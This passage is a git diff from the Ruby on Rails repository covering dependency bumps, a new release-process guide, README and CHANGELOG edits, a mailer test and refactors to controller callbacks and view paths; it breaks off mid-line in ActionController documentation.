diff options
578 files changed, 12540 insertions, 5193 deletions
diff --git a/.gitignore b/.gitignore index be764143aa..ab0950d7dd 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,3 @@ -*.gem pkg .bundle Gemfile.lock @@ -7,6 +6,7 @@ doc/rdoc activemodel/doc activeresource/doc activerecord/doc +activerecord/sqlnet.log actionpack/doc actionmailer/doc activesupport/doc @@ -22,4 +22,5 @@ railties/doc railties/guides/output railties/tmp .rvmrc -RDOC_MAIN.rdoc
\ No newline at end of file +.rbenv-version +RDOC_MAIN.rdoc diff --git a/.travis.yml b/.travis.yml index d33c6a3c86..4a27f7788d 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,12 +1,19 @@ script: 'ci/travis.rb' -notifications: - disabled: true rvm: - 1.8.7 - 1.9.2 + #- 1.9.3 # Disable 1.9.3 builds until Travis is on 1.9.3-rc1. env: - "GEM=railties" - "GEM=ap,am,amo,ares,as" - "GEM=ar:mysql" - "GEM=ar:mysql2" - - "GEM=ar:sqlite3"
\ No newline at end of file + - "GEM=ar:sqlite3" +notifications: + email: false + irc: + on_success: change + on_failure: always + channels: + - "irc.freenode.org#rails-contrib" +bundler_args: --path vendor/bundle @@ -4,20 +4,32 @@ gemspec if ENV['AREL'] gem "arel", :path => ENV['AREL'] +end + +gem "bcrypt-ruby", "~> 3.0.0" +gem "jquery-rails" + +if ENV['JOURNEY'] + gem "journey", :path => ENV['JOURNEY'] else - gem "arel", '~> 2.1.3' + gem "journey", :git => "git://github.com/rails/journey" end # This needs to be with require false to avoid # it being automatically loaded by sprockets -gem "uglifier", ">= 1.0.0", :require => false +gem "uglifier", ">= 1.0.3", :require => false -gem "rake", ">= 0.8.7" +# Temp fix until rake 0.9.3 is out +if RUBY_VERSION >= "1.9.3" + gem "rake", "0.9.3.beta.1" +else + gem "rake", ">= 0.8.7" +end gem "mocha", ">= 0.9.8" group :doc do gem "rdoc", "~> 3.4" - gem "horo", "= 1.0.3" + gem "sdoc", "~> 0.3" gem "RedCloth", "~> 4.2" if RUBY_VERSION < "1.9.3" gem "w3c_validators" end @@ -51,7 +63,7 @@ platforms :ruby do gem "nokogiri", ">= 1.4.5" # AR - gem "sqlite3", "~> 1.3.3" + gem "sqlite3", "~> 1.3.4" group :db do gem "pg", ">= 0.11.0" unless ENV['TRAVIS'] # once pg is on travis this can be removed @@ -63,7 +75,7 @@ end platforms :jruby do gem "ruby-debug", ">= 0.10.3" gem "json" - gem "activerecord-jdbcsqlite3-adapter" + gem "activerecord-jdbcsqlite3-adapter", ">= 1.2.0" # This is needed by now to let tests work on JRuby # TODO: When the JRuby guys merge jruby-openssl in @@ -71,8 +83,8 @@ platforms :jruby do gem "jruby-openssl" group :db do - gem "activerecord-jdbcmysql-adapter" - gem "activerecord-jdbcpostgresql-adapter" + gem "activerecord-jdbcmysql-adapter", ">= 1.2.0" + gem "activerecord-jdbcpostgresql-adapter", ">= 1.2.0" end end @@ -87,3 +99,6 @@ if ENV['ORACLE_ENHANCED_PATH'] || ENV['ORACLE_ENHANCED'] gem "activerecord-oracle_enhanced-adapter", :git => "git://github.com/rsim/oracle-enhanced.git" end end + +# A gem necessary for ActiveRecord tests with IBM DB +gem "ibm_db" if ENV['IBM_DB'] diff --git a/README.rdoc b/README.rdoc index bca2126559..0def4e5d12 100644 --- a/README.rdoc +++ b/README.rdoc @@ -3,33 +3,33 @@ Rails is a web-application framework that includes everything needed to create database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller] pattern. -Understanding the MVC pattern is key to understanding Rails. MVC divides your application +Understanding the MVC pattern is key to understanding Rails. MVC divides your application into three layers, each with a specific responsibility. The View layer is composed of "templates" that are responsible for providing -appropriate representations of your application's resources. Templates -can come in a variety of formats, but most view templates are HTML with embedded Ruby +appropriate representations of your application's resources. Templates +can come in a variety of formats, but most view templates are \HTML with embedded Ruby code (.erb files). The Model layer represents your domain model (such as Account, Product, Person, Post) and encapsulates the business logic that is specific to your application. In Rails, -database-backed model classes are derived from ActiveRecord::Base. ActiveRecord allows +database-backed model classes are derived from ActiveRecord::Base. Active Record allows you to present the data from database rows as objects and embellish these data objects with business logic methods. Although most Rails models are backed by a database, models can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as provided by the ActiveModel module. You can read more about Active Record in its -{README}[link:blob/master/activerecord/README.rdoc]. +{README}[link:/rails/rails/blob/master/activerecord/README.rdoc]. The Controller layer is responsible for handling incoming HTTP requests and providing a -suitable response. Usually this means returning HTML, but Rails controllers can also +suitable response. Usually this means returning \HTML, but Rails controllers can also generate XML, JSON, PDFs, mobile-specific views, and more. Controllers manipulate models and render view templates in order to generate the appropriate HTTP response. In Rails, the Controller and View layers are handled together by Action Pack. These two layers are bundled in a single package due to their heavy interdependence. -This is unlike the relationship between the Active Record and Action Pack which are +This is unlike the relationship between Active Record and Action Pack which are independent. Each of these packages can be used independently outside of Rails. You -can read more about Action Pack in its {README}[link:blob/master/actionpack/README.rdoc]. +can read more about Action Pack in its {README}[link:/rails/rails/blob/master/actionpack/README.rdoc]. == Getting Started @@ -49,7 +49,7 @@ can read more about Action Pack in its {README}[link:blob/master/actionpack/READ Run with <tt>--help</tt> for options. -4. Go to http://localhost:3000/ and you'll see: +4. Go to http://localhost:3000 and you'll see: "Welcome aboard: You're riding Ruby on Rails!" @@ -61,13 +61,14 @@ can read more about Action Pack in its {README}[link:blob/master/actionpack/READ * The {Ruby on Rails Guides}[http://guides.rubyonrails.org]. * The {API Documentation}[http://api.rubyonrails.org]. - == Contributing We encourage you to contribute to Ruby on Rails! Please check out the {Contributing to Rails guide}[http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html] for guidelines about how to proceed. {Join us}[http://contributors.rubyonrails.org]! +== Travis Build Status {<img src="https://secure.travis-ci.org/rails/rails.png"/>}[http://travis-ci.org/rails/rails] + == License Ruby on Rails is released under the MIT license. diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.rdoc new file mode 100644 index 0000000000..cbc9d0e1de --- /dev/null +++ b/RELEASING_RAILS.rdoc @@ -0,0 +1,186 @@ += Releasing Rails + +In this document, we'll cover the steps necessary to release Rails. Each +section contains steps to take during that time before the release. The times +suggested in each header are just that: suggestions. However, they should +really be considered as minimums. + +== 10 Days before release + +Today is mostly coordination tasks. Here are the things you must do today: + +=== Is the CI green? If not, make it green. (See "Fixing the CI") + +Do not release with a Red CI. You can find the CI status here: + + http://travis-ci.org/#!/rails/rails + +=== Is Sam Ruby happy? If not, make him happy. + +Sam Ruby keeps a test suite that makes sure the code samples in his book (Agile +Web Development with Rails) all work. These are valuable integration tests +for Rails. You can check the status of his tests here: + + http://intertwingly.net/projects/dashboard.html + +Do not release with Red AWDwR tests. + +=== Do we have any git dependencies? If so, contact those authors. + +Having git dependencies indicates that we depend on unreleased code. +Obviously rails cannot be released when it depends on unreleased code. +Contact the authors of those particular gems and work out a release date that +suits them. + +=== Contact the security team (either Koz or tenderlove) + +Let them know of your plans to release. There may be security issues to be +addressed, and that can impact your release date. + +=== Notify implementors. + +Ruby implementors have high stakes in making sure Rails works. Be kind and +give them a heads up that Rails will be released soonish. + +Send an email just giving a heads up about the upcoming release to these +lists: + +* team@jruby.org +* community@rubini.us +* rubyonrails-core@googlegroups.com + +Implementors will love you and help you. + +== 3 Days before release + +This is when you should release the release candidate. Here are your tasks +for today: + +=== Is the CI green? If not, make it green. + +=== Is Sam Ruby happy? If not, make him happy. + +=== Contact the security team. CVE emails must be sent on this day. + +=== Create a release branch. + +From the stable branch, create a release branch. For example, if you're +releasing Rails 3.0.10, do this: + + [aaron@higgins rails (3-0-stable)]$ git checkout -b 3-0-10 + Switched to a new branch '3-0-10' + [aaron@higgins rails (3-0-10)]$ + +=== Update each CHANGELOG. + +Many times commits are made without the CHANGELOG being updated. You should +review the commits since the last release, and fill in any missing information +for each CHANGELOG. + +You can review the commits for the 3.0.10 release like this: + + [aaron@higgins rails (3-0-10)]$ git log v3.0.9.. + +=== Update the RAILS_VERSION file to include the RC. + +=== Release the gem. + +IMPORTANT: Due to YAML parse problems on the rubygems.org server, it is safest +to use Ruby 1.8 when releasing. + +Run `rake release`. This will populate the gemspecs with data from +RAILS_VERSION, commit the changes, tag it, and push the gems to rubygems.org. +Here are the commands that `rake release` should use, so you can understand +what to do in case anything goes wrong: + + $ rake all:build + $ git commit -am'updating RAILS_VERSION' + $ git tag -m'tagging rc release' v3.0.10.rc1 + $ git push + $ git push --tags + $ for i in $(ls dist); do gem push $i; done + +=== Send Rails release announcements + +Write a release announcement that includes the version, changes, and links to +github where people can find the specific commit list. Here are the mailing +lists where you should announce: + +* rubyonrails-core@googlegroups.com +* rubyonrails-talk@googlegroups.com +* ruby-talk@ruby-lang.org + +Use markdown format for your announcement. Remember to ask people to report +issues with the release candidate to the rails-core mailing list. + +IMPORTANT: If any users experience regressions when using the release +candidate, you *must* postpone the release. Bugfix releases *should not* +break existing applications. + +=== Post the announcement to the Rails blog. + +If you used markdown format for your email, you can just paste it in to the +blog. + +* http://weblog.rubyonrails.org + +=== Post the announcement to the Rails twitter account. + +== Time between release candidate and actual release + +Check the rails-core mailing list and the github issue list for regressions in +the RC. + +If any regressions are found, fix the regressions and repeat the release +candidate process. We will not release the final until 72 hours after the +last release candidate has been pushed. This means that if users find +regressions, the scheduled release date must be postponed. + +When you fix the regressions, do not create a new branch. Fix them on the +stable branch, then cherry pick the commit to your release branch. No other +commits should be added to the release branch besides regression fixing commits. + +== Day of release + +Many of these steps are the same as for the release candidate, so if you need +more explanation on a particular step, so the RC steps. + +Today, do this stuff in this order: + +* Apply security patches to the release branch +* Update CHANGELOG with security fixes. +* Update RAILS_VERSION to remove the rc +* Release the gems +* Email security lists +* Email general announcement lists + +=== Emailing the rails security announce list + +Email the security announce list once for each vulnerability fixed. + +You can do this, or ask the security team to do it. + +Email the security reports to: + +* rubyonrails-security@googlegroups.com +* linux-distros@vs.openwall.org + +Be sure to note the security fixes in your announcement along with CVE numbers +and links to each patch. Some people may not be able to upgrade right away, +so we need to give them the security fixes in patch form. + +* Blog announcements +* Twitter announcements +* Merge the release branch to the stable branch. +* Drink beer (or other cocktail) + +== Misc + +=== Fixing the CI + +There are two simple steps for fixing the CI: + +1. Identify the problem +2. Fix it + +Repeat these steps until the CI is green. @@ -1,6 +1,7 @@ #!/usr/bin/env rake require 'rdoc/task' +require 'sdoc' require 'net/http' $:.unshift File.expand_path('..', __FILE__) @@ -74,7 +75,11 @@ RDoc::Task.new do |rdoc| # since no autolinking happens there and RDoc displays the backslash # otherwise. rdoc_main.gsub!(/^(?=\S).*?\b(?=Rails)\b/) { "#$&\\" } - rdoc_main.gsub!(%r{link:blob/master/(\w+)/README\.rdoc}, "link:files/\\1/README_rdoc.html") + rdoc_main.gsub!(%r{link:/rails/rails/blob/master/(\w+)/README\.rdoc}, "link:files/\\1/README_rdoc.html") + + # Remove Travis build status image from API pages. Only GitHub README page gets this image + # https build image is used to avoid GitHub caching: http://about.travis-ci.org/docs/user/status-images + rdoc_main.gsub!(%r{^== Travis.*}, '') File.open(RDOC_MAIN, 'w') do |f| f.write(rdoc_main) @@ -86,8 +91,10 @@ RDoc::Task.new do |rdoc| rdoc.rdoc_dir = 'doc/rdoc' rdoc.title = "Ruby on Rails Documentation" - rdoc.options << '-f' << 'horo' + rdoc.options << '-f' << 'sdoc' + rdoc.options << '-T' << 'rails' rdoc.options << '-c' << 'utf-8' + rdoc.options << '-g' # SDoc flag, link methods to GitHub rdoc.options << '-m' << RDOC_MAIN rdoc.rdoc_files.include('railties/CHANGELOG') diff --git a/actionmailer/CHANGELOG b/actionmailer/CHANGELOG index d4475bc951..14c887eb53 100644 --- a/actionmailer/CHANGELOG +++ b/actionmailer/CHANGELOG @@ -1,4 +1,4 @@ -*Rails 3.1.0 (unreleased)* +*Rails 3.1.0 (August 30, 2011)* * No changes diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc index 63e3893316..dc74b590f7 100644 --- a/actionmailer/README.rdoc +++ b/actionmailer/README.rdoc @@ -10,7 +10,7 @@ Mail gem. It provides a way to make emails using templates in the same way that Action Controller renders views using templates. Additionally, an Action Mailer class can be used to process incoming email, -such as allowing a weblog to accept new posts from an email (which could even +such as allowing a blog to accept new posts from an email (which could even have been sent from a phone). == Sending emails @@ -59,6 +59,8 @@ generated would look like this: Mr. david@loudthinking.com + Thank you for signing up! + In previous version of Rails you would call <tt>create_method_name</tt> and <tt>deliver_method_name</tt>. Rails 3.0 has a much simpler interface, you simply call the method and optionally call +deliver+ on the return value. @@ -74,7 +76,7 @@ Or you can just chain the methods together like: == Setting defaults -It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you wont need to worry about that. Finally it is also possible to pass in a Proc that will get evaluated when it is needed. +It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't need to worry about that. Finally it is also possible to pass in a Proc that will get evaluated when it is needed. Note that every value you set with this method will get over written if you use the same key in your mailer method. @@ -135,13 +137,13 @@ The Base class has the full list of configuration options. Here's an example: == Download and installation -The latest version of Action Mailer can be installed with Rubygems: +The latest version of Action Mailer can be installed with RubyGems: % [sudo] gem install actionmailer Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/master/actionmailer/ +* https://github.com/rails/rails/tree/master/actionmailer == License diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb index cb289fd693..ac49702ced 100644 --- a/actionmailer/lib/action_mailer/base.rb +++ b/actionmailer/lib/action_mailer/base.rb @@ -100,12 +100,12 @@ module ActionMailer #:nodoc: # You can even use Action Pack helpers in these views. For example: # # You got a new note! - # <%= truncate(@note.body, 25) %> + # <%= truncate(@note.body, :length => 25) %> # # If you need to access the subject, from or the recipients in the view, you can do that through message object: # # You got a new note from <%= message.from %>! - # <%= truncate(@note.body, 25) %> + # <%= truncate(@note.body, :length => 25) %> # # # = Generating URLs diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb index 63e18147f6..c4de029694 100644 --- a/actionmailer/lib/action_mailer/test_case.rb +++ b/actionmailer/lib/action_mailer/test_case.rb @@ -17,7 +17,14 @@ module ActionMailer module ClassMethods def tests(mailer) - self._mailer_class = mailer + case mailer + when String, Symbol + self._mailer_class = mailer.to_s.camelize.constantize + when Module + self._mailer_class = mailer + else + raise NonInferrableMailerError.new(mailer) + end end def mailer_class diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb index 9416bc718e..e55d72fdb4 100644 --- a/actionmailer/test/mailers/base_mailer.rb +++ b/actionmailer/test/mailers/base_mailer.rb @@ -113,6 +113,6 @@ class BaseMailer < ActionMailer::Base end def email_with_translations - mail :body => render("email_with_translations.html") + mail :body => render("email_with_translations", :formats => [:html]) end end diff --git a/actionmailer/test/test_test.rb b/actionmailer/test/test_test.rb new file mode 100644 index 0000000000..86fd37bea6 --- /dev/null +++ b/actionmailer/test/test_test.rb @@ -0,0 +1,28 @@ +require 'abstract_unit' + +class TestTestMailer < ActionMailer::Base +end + +class CrazyNameMailerTest < ActionMailer::TestCase + tests TestTestMailer + + def test_set_mailer_class_manual + assert_equal TestTestMailer, self.class.mailer_class + end +end + +class CrazySymbolNameMailerTest < ActionMailer::TestCase + tests :test_test_mailer + + def test_set_mailer_class_manual_using_symbol + assert_equal TestTestMailer, self.class.mailer_class + end +end + +class CrazyStringNameMailerTest < ActionMailer::TestCase + tests 'test_test_mailer' + + def test_set_mailer_class_manual_using_string + assert_equal TestTestMailer, self.class.mailer_class + end +end diff --git a/actionpack/CHANGELOG b/actionpack/CHANGELOG index 9888be07a9..29992a36b1 100644 --- a/actionpack/CHANGELOG +++ b/actionpack/CHANGELOG @@ -1,5 +1,37 @@ *Rails 3.2.0 (unreleased)* +* Limit the number of options for select_year to 1000. + + Pass the :max_years_allowed option to set your own limit. + + [Libo Cannici] + +* Passing formats or handlers to render :template and friends is deprecated. For example: [Nick Sutterer & José Valim] + + render :template => "foo.html.erb" + + Instead, you can provide :handlers and :formats directly as option: + + render :template => "foo", :formats => [:html, :js], :handlers => :erb + +* Changed log level of warning for missing CSRF token from :debug to :warn. [Mike Dillon] + +* content_tag_for and div_for can now take the collection of records. It will also yield the record as the first argument if you set a receiving argument in your block [Prem Sichanugrist] + + So instead of having to do this: + + @items.each do |item| + content_tag_for(:li, item) do + Title: <%= item.title %> + end + end + + You can now do this: + + content_tag_for(:li, @items) do |item| + Title: <%= item.title %> + end + * send_file now guess the mime type [Esad Hajdarevic] * Mime type entries for PDF, ZIP and other formats were added [Esad Hajdarevic] @@ -28,7 +60,75 @@ for your test you need to do it before the cookie jar is created. -*Rails 3.1.0 (unreleased)* +*Rails 3.1.1 (unreleased)* + +* javascript_path and stylesheet_path now refer to /assets if asset pipelining +is on. [Santiago Pastorino] + +* button_to support form option. Now you're able to pass for example +'data-type' => 'json'. [ihower] + +* image_path and image_tag should use /assets if asset pipelining is turned +on. Closes #3126 [Santiago Pastorino and christos] + +* Avoid use of existing precompiled assets during rake assets:precompile run. +Closes #3119 [Guillermo Iguaran] + +* Copy assets to nondigested filenames too [Santiago Pastorino] + +* Give precedence to `config.digest = false` over the existence of +manifest.yml asset digests [christos] + +* escape options for the stylesheet_link_tag method [Alexey Vakhov] + +* Re-launch assets:precompile task using (Rake.)ruby instead of Kernel.exec so +it works on Windows [cablegram] + +* env var passed to process shouldn't be modified in process method. [Santiago +Pastorino] + +* `rake assets:precompile` loads the application but does not initialize +it. + + To the app developer, this means configuration add in + config/initializers/* will not be executed. + + Plugins developers need to special case their initializers that are + meant to be run in the assets group by adding :group => :assets. [José Valim] + +* Sprockets uses config.assets.prefix for asset_path [asee] + +* FileStore key_file_path properly limit filenames to 255 characters. [phuibonhoa] + +* Fix Hash#to_query edge case with html_safe strings. [brainopia] + +* Allow asset tag helper methods to accept :digest => false option in order to completely avoid the digest generation. +Useful for linking assets from static html files or from emails when the user +could probably look at an older html email with an older asset. [Santiago Pastorino] + +* Don't mount Sprockets server at config.assets.prefix if config.assets.compile is false. [Mark J. Titorenko] + +* Set relative url root in assets when controller isn't available for Sprockets (eg. Sass files using asset_path). Fixes #2435 [Guillermo Iguaran] + +* Fix basic auth credential generation to not make newlines. GH #2882 + +* Fixed the behavior of asset pipeline when config.assets.digest and config.assets.compile are false and requested asset isn't precompiled. + Before the requested asset were compiled anyway ignoring that the config.assets.compile flag is false. [Guillermo Iguaran] + +* CookieJar is now Enumerable. Fixes #2795 + +* Fixed AssetNotPrecompiled error raised when rake assets:precompile is compiling certain .erb files. See GH #2763 #2765 #2805 [Guillermo Iguaran] + +* Manifest is correctly placed in assets path when default assets prefix is changed. Fixes #2776 [Guillermo Iguaran] + +* Fixed stylesheet_link_tag and javascript_include_tag to respect additional options passed by the users when debug is on. [Guillermo Iguaran] + + +*Rails 3.1.0 (August 30, 2011)* + +* Param values are `paramified` in controller tests. [David Chelimsky] + +* x_sendfile_header now defaults to nil and config/environments/production.rb doesn't set a particular value for it. This allows servers to set it through X-Sendfile-Type. [Santiago Pastorino] * The submit form helper does not generate an id "object_name_id" anymore. [fbrusatti] @@ -2270,7 +2370,7 @@ superclass' view_paths. [Rick Olson] * Update documentation for erb trim syntax. #5651 [matt@mattmargolis.net] -* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com, sebastien@goetzilla.info] +* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com] * Reset @html_document between requests so assert_tag works. #4810 [Jarkko Laine, easleydp@gmail.com] @@ -2867,7 +2967,7 @@ superclass' view_paths. [Rick Olson] * Provide support for decimal columns to form helpers. Closes #5672. [Dave Thomas] -* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com, sebastien@goetzilla.info] +* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com] * Reset @html_document between requests so assert_tag works. #4810 [Jarkko Laine, easleydp@gmail.com] diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc index c494d78415..95301c21ee 100644 --- a/actionpack/README.rdoc +++ b/actionpack/README.rdoc @@ -283,7 +283,7 @@ methods: The last two lines are responsible for telling ActionController where the template files are located and actually running the controller on a new -request from the web-server (like to be Apache). +request from the web-server (e.g., Apache). And the templates look like this: @@ -316,13 +316,13 @@ an URL such as /weblog/5 (where 5 is the id of the post). == Download and installation -The latest version of Action Pack can be installed with Rubygems: +The latest version of Action Pack can be installed with RubyGems: % [sudo] gem install actionpack Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/master/actionpack/ +* https://github.com/rails/rails/tree/master/actionpack == License diff --git a/actionpack/Rakefile b/actionpack/Rakefile index 66dd88f0c6..d9e3e56fcc 100755 --- a/actionpack/Rakefile +++ b/actionpack/Rakefile @@ -26,6 +26,11 @@ namespace :test do Rake::TestTask.new(:isolated) do |t| t.pattern = 'test/ts_isolated.rb' end + + Rake::TestTask.new(:template) do |t| + t.libs << 'test' + t.pattern = 'test/template/**/*.rb' + end end desc 'ActiveRecord Integration Tests' diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec index 15d104fd82..96d583730a 100644 --- a/actionpack/actionpack.gemspec +++ b/actionpack/actionpack.gemspec @@ -16,16 +16,16 @@ Gem::Specification.new do |s| s.require_path = 'lib' s.requirements << 'none' - s.add_dependency('activesupport', version) - s.add_dependency('activemodel', version) - s.add_dependency('rack-cache', '~> 1.0.2') - s.add_dependency('builder', '~> 3.0.0') - s.add_dependency('i18n', '~> 0.6') - s.add_dependency('rack', '~> 1.3.1') - s.add_dependency('rack-test', '~> 0.6.0') - s.add_dependency('rack-mount', '~> 0.8.1') - s.add_dependency('sprockets', '= 2.0.0.beta.10') - s.add_dependency('erubis', '~> 2.7.0') + s.add_dependency('activesupport', version) + s.add_dependency('activemodel', version) + s.add_dependency('rack-cache', '~> 1.1') + s.add_dependency('builder', '~> 3.0.0') + s.add_dependency('i18n', '~> 0.6') + s.add_dependency('rack', '~> 1.3.2') + s.add_dependency('rack-test', '~> 0.6.1') + s.add_dependency('journey', '~> 1.0.0') + s.add_dependency('sprockets', '~> 2.0.2') + s.add_dependency('erubis', '~> 2.7.0') - s.add_development_dependency('tzinfo', '~> 0.3.29') + s.add_development_dependency('tzinfo', '~> 0.3.29') end diff --git a/actionpack/lib/abstract_controller/asset_paths.rb b/actionpack/lib/abstract_controller/asset_paths.rb index ad14cd6d87..c2a6809f58 100644 --- a/actionpack/lib/abstract_controller/asset_paths.rb +++ b/actionpack/lib/abstract_controller/asset_paths.rb @@ -3,7 +3,8 @@ module AbstractController extend ActiveSupport::Concern included do - config_accessor :asset_host, :asset_path, :assets_dir, :javascripts_dir, :stylesheets_dir, :use_sprockets + config_accessor :asset_host, :asset_path, :assets_dir, :javascripts_dir, + :stylesheets_dir, :default_asset_host_protocol end end end diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb index e8426bc52b..7004e607a1 100644 --- a/actionpack/lib/abstract_controller/callbacks.rb +++ b/actionpack/lib/abstract_controller/callbacks.rb @@ -75,38 +75,122 @@ module AbstractController end end + ## + # :method: before_filter + # + # :call-seq: before_filter(names, block) + # + # Append a before filter. See _insert_callbacks for parameter details. + + ## + # :method: prepend_before_filter + # + # :call-seq: prepend_before_filter(names, block) + # + # Prepend a before filter. See _insert_callbacks for parameter details. + + ## + # :method: skip_before_filter + # + # :call-seq: skip_before_filter(names, block) + # + # Skip a before filter. See _insert_callbacks for parameter details. + + ## + # :method: append_before_filter + # + # :call-seq: append_before_filter(names, block) + # + # Append a before filter. See _insert_callbacks for parameter details. + + ## + # :method: after_filter + # + # :call-seq: after_filter(names, block) + # + # Append an after filter. See _insert_callbacks for parameter details. + + ## + # :method: prepend_after_filter + # + # :call-seq: prepend_after_filter(names, block) + # + # Prepend an after filter. See _insert_callbacks for parameter details. + + ## + # :method: skip_after_filter + # + # :call-seq: skip_after_filter(names, block) + # + # Skip an after filter. See _insert_callbacks for parameter details. + + ## + # :method: append_after_filter + # + # :call-seq: append_after_filter(names, block) + # + # Append an after filter. See _insert_callbacks for parameter details. + + ## + # :method: around_filter + # + # :call-seq: around_filter(names, block) + # + # Append an around filter. See _insert_callbacks for parameter details. + + ## + # :method: prepend_around_filter + # + # :call-seq: prepend_around_filter(names, block) + # + # Prepend an around filter. See _insert_callbacks for parameter details. + + ## + # :method: skip_around_filter + # + # :call-seq: skip_around_filter(names, block) + # + # Skip an around filter. See _insert_callbacks for parameter details. + + ## + # :method: append_around_filter + # + # :call-seq: append_around_filter(names, block) + # + # Append an around filter. See _insert_callbacks for parameter details. + # set up before_filter, prepend_before_filter, skip_before_filter, etc. # for each of before, after, and around. [:before, :after, :around].each do |filter| class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1 # Append a before, after or around filter. See _insert_callbacks # for details on the allowed parameters. - def #{filter}_filter(*names, &blk) - _insert_callbacks(names, blk) do |name, options| - options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after} - set_callback(:process_action, :#{filter}, name, options) - end - end + def #{filter}_filter(*names, &blk) # def before_filter(*names, &blk) + _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options| + options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after} # options[:if] = (Array.wrap(options[:if]) << "!halted") if false + set_callback(:process_action, :#{filter}, name, options) # set_callback(:process_action, :before, name, options) + end # end + end # end # Prepend a before, after or around filter. See _insert_callbacks # for details on the allowed parameters. - def prepend_#{filter}_filter(*names, &blk) - _insert_callbacks(names, blk) do |name, options| - options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after} - set_callback(:process_action, :#{filter}, name, options.merge(:prepend => true)) - end - end + def prepend_#{filter}_filter(*names, &blk) # def prepend_before_filter(*names, &blk) + _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options| + options[:if] = (Array.wrap(options[:if]) << "!halted") if #{filter == :after} # options[:if] = (Array.wrap(options[:if]) << "!halted") if false + set_callback(:process_action, :#{filter}, name, options.merge(:prepend => true)) # set_callback(:process_action, :before, name, options.merge(:prepend => true)) + end # end + end # end # Skip a before, after or around filter. See _insert_callbacks # for details on the allowed parameters. - def skip_#{filter}_filter(*names, &blk) - _insert_callbacks(names, blk) do |name, options| - skip_callback(:process_action, :#{filter}, name, options) - end - end + def skip_#{filter}_filter(*names, &blk) # def skip_before_filter(*names, &blk) + _insert_callbacks(names, blk) do |name, options| # _insert_callbacks(names, blk) do |name, options| + skip_callback(:process_action, :#{filter}, name, options) # skip_callback(:process_action, :before, name, options) + end # end + end # end # *_filter is the same as append_*_filter - alias_method :append_#{filter}_filter, :#{filter}_filter + alias_method :append_#{filter}_filter, :#{filter}_filter # alias_method :append_before_filter, :before_filter RUBY_EVAL end end diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb index ab2c532859..41fdc11196 100644 --- a/actionpack/lib/abstract_controller/rendering.rb +++ b/actionpack/lib/abstract_controller/rendering.rb @@ -120,8 +120,6 @@ module AbstractController view_renderer.render(view_context, options) end - private - DEFAULT_PROTECTED_INSTANCE_VARIABLES = %w( @_action_name @_response_body @_formats @_prefixes @_config @_view_context_class @_view_renderer @_lookup_context @@ -139,6 +137,8 @@ module AbstractController hash end + private + # Normalize args and options. # :api: private def _normalize_render(*args, &block) diff --git a/actionpack/lib/abstract_controller/view_paths.rb b/actionpack/lib/abstract_controller/view_paths.rb index 6b7aae8c74..e8394447a7 100644 --- a/actionpack/lib/abstract_controller/view_paths.rb +++ b/actionpack/lib/abstract_controller/view_paths.rb @@ -1,3 +1,5 @@ +require 'action_view/base' + module AbstractController module ViewPaths extend ActiveSupport::Concern @@ -63,7 +65,7 @@ module AbstractController # the default view path. You may also provide a custom view path # (see ActionView::PathSet for more information) def append_view_path(path) - self.view_paths = view_paths.dup + Array(path) + self._view_paths = view_paths + Array(path) end # Prepend a path to the list of view paths for this controller. @@ -73,7 +75,7 @@ module AbstractController # the default view path. You may also provide a custom view path # (see ActionView::PathSet for more information) def prepend_view_path(path) - self.view_paths = Array(path) + view_paths.dup + self._view_paths = ActionView::PathSet.new(Array(path) + view_paths) end # A list of all of the default view paths for this controller. @@ -87,8 +89,7 @@ module AbstractController # * <tt>paths</tt> - If a PathSet is provided, use that; # otherwise, process the parameter into a PathSet. def view_paths=(paths) - self._view_paths = ActionView::Base.process_view_paths(paths) - self._view_paths.freeze + self._view_paths = ActionView::PathSet.new(Array.wrap(paths)) end end end diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb index ce56d8bc71..98bfe72fef 100644 --- a/actionpack/lib/action_controller/base.rb +++ b/actionpack/lib/action_controller/base.rb @@ -50,7 +50,7 @@ module ActionController # # All request parameters, whether they come from a GET or POST request, or from the URL, are available through the params method # which returns a hash. For example, an action that was performed through <tt>/posts?category=All&limit=5</tt> will include - # <tt>{ "category" => "All", "limit" => 5 }</tt> in params. + # <tt>{ "category" => 